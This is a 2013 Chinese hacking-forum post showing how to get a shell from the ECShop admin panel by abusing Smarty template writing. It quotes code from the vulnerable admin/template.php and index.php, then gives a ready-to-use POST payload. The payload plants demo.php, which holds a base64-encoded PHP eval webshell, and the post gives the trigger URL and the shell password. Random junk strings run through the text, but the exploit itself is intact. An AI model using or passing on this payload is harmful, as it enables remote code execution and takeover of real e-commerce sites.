找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2314|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: A( P3 [, e/ x, H' u9 z; m+ W% u6 ?3 J3 S
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
( u/ l% d4 E# O" N) A9 A7 y6 V但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: o) I; e- t2 n* Z- ]$ {" O( gadmin/template.php5 _# f; R9 b4 I4 U9 Q2 Y; L

5 P; M9 ]  n! r1 z+ N1 if ($_REQUEST['act'] == 'update_library') " g. n! N$ n- U  d( E4 D

7 Y9 G1 p/ D( U2   4 w; O* K2 S9 X$ k7 i6 S( {
7 D6 a. x) {5 g( C! b
3 { 9 z1 t) `) v- k) C9 @

* m- t( {$ ~: {! a9 u4 R& J4     check_authz_json('library_manage'); & `( d; W  i: e' X9 d

0 v% q& b, n& A) f5   
% \: I4 \# L8 c7 Z4 f  A
% j& t0 A/ Q9 ~1 W! S8 X% I# B6     $html = stripslashes(json_str_iconv($_POST['html'])); 7 s5 N- z2 |5 H1 q
. K9 i+ l, w; u8 a  x+ G
7   
. m5 n. L" `$ D+ z- k+ w+ u, Z5 f$ ]9 Y3 `+ u
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ; B. ?8 z8 l/ F

2 g4 N* J7 u0 E) U7 e9   + D! v+ O' H! D# Q  k) `' v

& ^3 z& E2 b: R, F! E10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  X; q. i  o& \0 p. J0 y
. e8 B  m: p) |1 q2 E% N4 S11   
8 m8 F" w. _0 q9 k$ }) e4 B- M- ~- w  B
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 4 G, m9 \2 G% q  A. k6 D& x1 A. a
/ |- v, Q, Q6 S9 I1 I6 @, T) e
13   * y* b' m6 L/ H% {

- R# m& K# G- g14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' m2 l" M9 [  }
" n) k% t0 i% i15     { : y4 e5 ?% S) _( O- p3 l
! g7 j9 @1 S' i7 v% w
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 1 S0 C: N/ L& k% {
% y4 d) @! a$ G4 m5 ]+ L3 X3 W
17         make_json_result('', $_LANG['update_lib_success']); 7 b1 E9 I- r$ ~# H& D

4 g& ?7 q" Q5 \) F  O/ F: c$ f18     } : s# o# @( {9 |' n& e& O* X

4 x8 w$ h( H! ^- w4 l19     else
' c  {4 u6 k) \7 T+ i: ~* g3 l8 I5 O7 q: C
20     { 6 o3 E- `- z" b5 o6 m0 T

5 [- L( H2 R; R1 q# ?21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 3 h  M+ m, T  L& B
! @) O% D( d/ A1 r5 n+ J" ^
22     } & E4 ]+ ~* v" Y3 t/ U. j
5 M1 u5 `% s* }5 P/ @
23 }
$ ]7 u. V* V8 S
. Q5 @1 T6 j6 g3 u0 Z; @" `那么找个比较方便调用了模板的文件
3 @, }+ |6 N& P9 j+ E# ^$ Findex.php* Q+ ]1 k/ X6 |" Q

5 j5 D2 e, m  Q1 if ($act == 'cat_rec')
. J7 J: Z: u2 U3 C& ?; L$ v/ a. {6 E" K( w' |: V& N2 w1 L
2   
/ R* F/ t0 x% y4 b, j) X
" P/ U, }! `- `3 {
, ^6 j6 Y. k3 N, }5 |" y# u, r" h3 V1 u0 Q
4   
0 T) c8 J' p- \* O  f0 N* d  L  E- R/ M" F' l6 E
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
$ d9 b9 g4 u" _$ M# V5 J$ d3 C- J7 I9 Q5 l* z2 v* ]* d& k2 _( ~
6   $ z5 W; M$ \& S- ^; j+ l
4 |; G, f- Y8 r2 w
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- x1 c& S/ E/ d1 ^# N0 |
8 H( }' C( I4 u' Z  U$ c8   . {( e- M3 j9 O9 K

  V# m) b" y& D8 o6 N9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 3 t" |/ q" g( t2 j
* s) d' {. S6 e' m$ Z" O3 u
10   
. S/ @8 T$ ^+ ?: W# t+ E/ L' c0 g$ V2 L2 T& ~) ?# y& l6 G/ q
11     include_once('includes/cls_json.php'); 7 ~* M& N  s+ k) l, y0 k% I
/ n$ {9 N! o1 ?1 |
12   * u( q$ [- b. _6 g, n7 g

2 P, h2 @8 ~2 J1 J( e  O2 r( _9 P13     $json = new JSON;
; B- e3 Y! h0 w! X' \  |1 t0 b; w
  T+ u6 m# K6 a$ _14   # K$ x9 o, r7 P9 h/ `. h, ^- N
6 {/ S0 j! y4 ]& S' s
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); % {/ x, b" w9 V( Q# b

/ k. b+ h& G5 \. I# ~0 R! {7 W16   
2 q0 E/ T/ v1 q- r" S0 T- Q* g( c3 z
17     $children = get_children($cat_id); . T6 l: x0 D; I
$ j  D. K8 u, h- P) F
18   
$ ^' A  M% E9 K! D4 j4 c/ A: l% e9 B9 j( w2 U
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( T: B( R8 a. \: C7 m; a, t5 A& Y5 t. E0 {) w+ O7 e" l
20   ; y* A& l6 d& d, o" o/ U* e/ I
% |1 u# L! K2 y. i, _
21     $smarty->assign('cat_rec_sign', 1);
: S+ u2 I. X0 h, d
8 L0 f% y& D; u' _' p7 q/ ?5 }' t22   
% {2 H5 v% s' w# t3 f& P2 x/ L  `" q5 {1 W* G5 R
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 q; V- c( {0 ?, b* s, J
* L# I5 x& G  B5 G24   : _% _" L6 x% M4 a1 @
: l/ ~3 [9 c) b- E6 d3 M8 L6 u, m
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; + @  P# K, \* O# d; d4 h" |
. \% O7 k! m, Q+ H2 L2 ^
26   6 Q2 _' [% x+ U, j

$ K: q( P6 D  b# J- u- N- _4 [% ~" W27         echo $rec_array[$rec_type];
$ G# H( z6 c  @( _! [) N* b5 Y- U, Z/ ~, w! `, @. s# C2 D
28   
9 B% Y/ D6 v" {! w) D
* h5 l( ]  A5 W29     die($json->encode($result));
5 k( u2 Z* _2 w1 L/ W0 Q& Q5 R; i  U5 d, s' X7 M1 s( F
30   
- f5 _# V2 |3 O7 ~
, \! B- G2 A  ^7 v$ ]8 h& K- r+ c6 Z31 } 5 z( r5 J: k0 E( k

. X; E- F# W( L! d& c4 [7 w那么就有利用方法了
" t; |/ R; S+ P- U# [  f% q% l5 f& O) Qpost包到http://localhost/ec/admin/template.php?act=update_library
4 _, B# R% K; h' PPost内容:
6 x2 n. G2 o# X- _- U- x: L7 m
: ~1 W7 K' B  ?4 X* g# O9 S" v6 Z) O  F5 i
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 6 H& x/ i  Z9 D4 e# Q
4 F% c2 |6 [; E% `  X
然后访问http://localhost/ec/index.php?act=cat_rec
% f" |; Y9 {) w/ N. C; Y" F2 t/ ?- s/ E- m/ w. p9 Z. C% _
shel地址:http://localhost/ec/demo.php
& E, y) W% U  L: V密码c
5 N  p9 e- o% q" f3 u( M9 M1 m+ D1 A% @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表